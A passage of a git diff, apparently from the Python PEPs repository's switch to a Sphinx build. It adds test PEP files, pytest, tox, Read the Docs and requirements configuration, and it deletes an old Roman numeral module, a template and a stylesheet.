new file mode 100644
index 00000000000..84a117c17e5
--- /dev/null
+++ b/pep_sphinx_extensions/tests/peps/pep-9000.rst
@@ -0,0 +1,7 @@
+PEP: 9000
+Title: Test with authors with email addresses
+Author: Francis Fussyreverend , 
+        Javier Soulfulcommodore 
+Created: 20-Apr-2022
+Status: Draft
+Type: Process
diff --git a/pep_sphinx_extensions/tests/peps/pep-9001.rst b/pep_sphinx_extensions/tests/peps/pep-9001.rst
new file mode 100644
index 00000000000..4a1a9e11532
--- /dev/null
+++ b/pep_sphinx_extensions/tests/peps/pep-9001.rst
@@ -0,0 +1,7 @@
+PEP: 9001
+Title: Test with authors with no email addresses
+Author: Francis Fussyreverend,
+        Javier Soulfulcommodore
+Created: 20-Apr-2022
+Status: Draft
+Type: Process
diff --git a/pep_sphinx_extensions/tests/utils.py b/pep_sphinx_extensions/tests/utils.py
new file mode 100644
index 00000000000..19167d5526d
--- /dev/null
+++ b/pep_sphinx_extensions/tests/utils.py
@@ -0,0 +1,6 @@
+AUTHORS_OVERRIDES = {
+    "Guido van Rossum": {
+        "Surname First": "van Rossum, Guido (GvR)",
+        "Name Reference": "GvR",
+    },
+}
diff --git a/pyramid-pep-template b/pyramid-pep-template
deleted file mode 100644
index f65a5ab5ea9..00000000000
--- a/pyramid-pep-template
+++ /dev/null
@@ -1,6 +0,0 @@
-
-%(body)s
diff --git a/pytest.ini b/pytest.ini
new file mode 100644
index 00000000000..b872465bfb6
--- /dev/null
+++ b/pytest.ini
@@ -0,0 +1,8 @@
+[pytest]
+addopts = -r a --strict-config --strict-markers --import-mode=importlib --cov pep_sphinx_extensions --cov-report html --cov-report xml
+empty_parameter_set_mark = fail_at_collect
+filterwarnings =
+    error
+minversion = 6.0
+testpaths = pep_sphinx_extensions
+xfail_strict = True
diff --git a/readthedocs.yaml b/readthedocs.yaml
new file mode 100644
index 00000000000..b4fa40173b8
--- /dev/null
+++ b/readthedocs.yaml
@@ -0,0 +1,16 @@
+version: 2
+
+build:
+  os: ubuntu-20.04
+  tools:
+    python: "3.9"
+
+python:
+  install:
+    - requirements: requirements.txt
+
+sphinx:
+  builder: dirhtml
+
+search:
+  ignore: ['*']
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 00000000000..0f4493675a3
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,11 @@
+# Requirements for building PEPs with Sphinx
+Pygments >= 2.9.0
+Sphinx >= 4.0.2
+docutils >= 0.17.1
+
+# For RSS
+feedgen >= 0.9.0  # For RSS feed
+
+# For tests
+pytest
+pytest-cov
diff --git a/roman.py b/roman.py
deleted file mode 100644
index 394a43ae9cb..00000000000
--- a/roman.py
+++ /dev/null
@@ -1,81 +0,0 @@
-"""Convert to and from Roman numerals"""
-
-__author__ = "Mark Pilgrim (f8dy@diveintopython.org)"
-__version__ = "1.4"
-__date__ = "8 August 2001"
-__copyright__ = """Copyright (c) 2001 Mark Pilgrim
-
-This program is part of "Dive Into Python", a free Python tutorial for
-experienced programmers.  Visit http://diveintopython.org/ for the
-latest version.
-
-This program is free software; you can redistribute it and/or modify
-it under the terms of the Python 2.1.1 license, available at
-http://www.python.org/2.1.1/license.html
-"""
-
-import re
-
-# Define exceptions
-class RomanError(Exception): pass
-class OutOfRangeError(RomanError): pass
-class NotIntegerError(RomanError): pass
-class InvalidRomanNumeralError(RomanError): pass
-
-#Define digit mapping
-romanNumeralMap = (('M',  1000),
-                   ('CM', 900),
-                   ('D',  500),
-                   ('CD', 400),
-                   ('C',  100),
-                   ('XC', 90),
-                   ('L',  50),
-                   ('XL', 40),
-                   ('X',  10),
-                   ('IX', 9),
-                   ('V',  5),
-                   ('IV', 4),
-                   ('I',  1))
-
-def toRoman(n):
-    """convert integer to Roman numeral"""
-    if not (0 < n < 5000):
-        raise OutOfRangeError("number out of range (must be 1..4999)")
-    if int(n) != n:
-        raise NotIntegerError("decimals can not be converted")
-
-    result = ""
-    for numeral, integer in romanNumeralMap:
-        while n >= integer:
-            result += numeral
-            n -= integer
-    return result
-
-#Define pattern to detect valid Roman numerals
-romanNumeralPattern = re.compile("""
-    ^                   # beginning of string
-    M{0,4}              # thousands - 0 to 4 M's
-    (CM|CD|D?C{0,3})    # hundreds - 900 (CM), 400 (CD), 0-300 (0 to 3 C's),
-                        #            or 500-800 (D, followed by 0 to 3 C's)
-    (XC|XL|L?X{0,3})    # tens - 90 (XC), 40 (XL), 0-30 (0 to 3 X's),
-                        #        or 50-80 (L, followed by 0 to 3 X's)
-    (IX|IV|V?I{0,3})    # ones - 9 (IX), 4 (IV), 0-3 (0 to 3 I's),
-                        #        or 5-8 (V, followed by 0 to 3 I's)
-    $                   # end of string
-    """ ,re.VERBOSE)
-
-def fromRoman(s):
-    """convert Roman numeral to integer"""
-    if not s:
-        raise InvalidRomanNumeralError('Input can not be blank')
-    if not romanNumeralPattern.search(s):
-        raise InvalidRomanNumeralError('Invalid Roman numeral: %s' % s)
-
-    result = 0
-    index = 0
-    for numeral, integer in romanNumeralMap:
-        while s[index:index+len(numeral)] == numeral:
-            result += integer
-            index += len(numeral)
-    return result
-
diff --git a/style.css b/style.css
deleted file mode 100644
index 064fe688cfd..00000000000
--- a/style.css
+++ /dev/null
@@ -1,19 +0,0 @@
-body                   { margin: 0px;
-                         padding: 0px; }
-.navigation            { width: 100%;
-                         background: #99ccff; }
-.navigation .navicon   { width: 150px;
-                         height: 35; }
-.navigation .textlinks { padding-left: 1em;
-                         text-align: left; }
-
-.header                { margin-top: 0.5em; }
-.header, .content      { margin-left: 1em;
-                         margin-right: 1em; }
-
-.header table td       { text-align: left; }
-.header table th       { text-align: right;
-                         font-family: sans-serif;
-                         padding-right: 0.5em; }
-
-h3                     { font-family: sans-serif; }
diff --git a/tox.ini b/tox.ini
new file mode 100644
index 00000000000..396ef49d628
--- /dev/null
+++ b/tox.ini
@@ -0,0 +1,12 @@
+[tox]
+envlist =
+    py{311, 310, 39}
+skipsdist = true
+
+[testenv]
+passenv =
+    FORCE_COLOR
+deps =
+    -rrequirements.txt
+commands =
+    python -bb -X dev -W error -m pytest {posargs}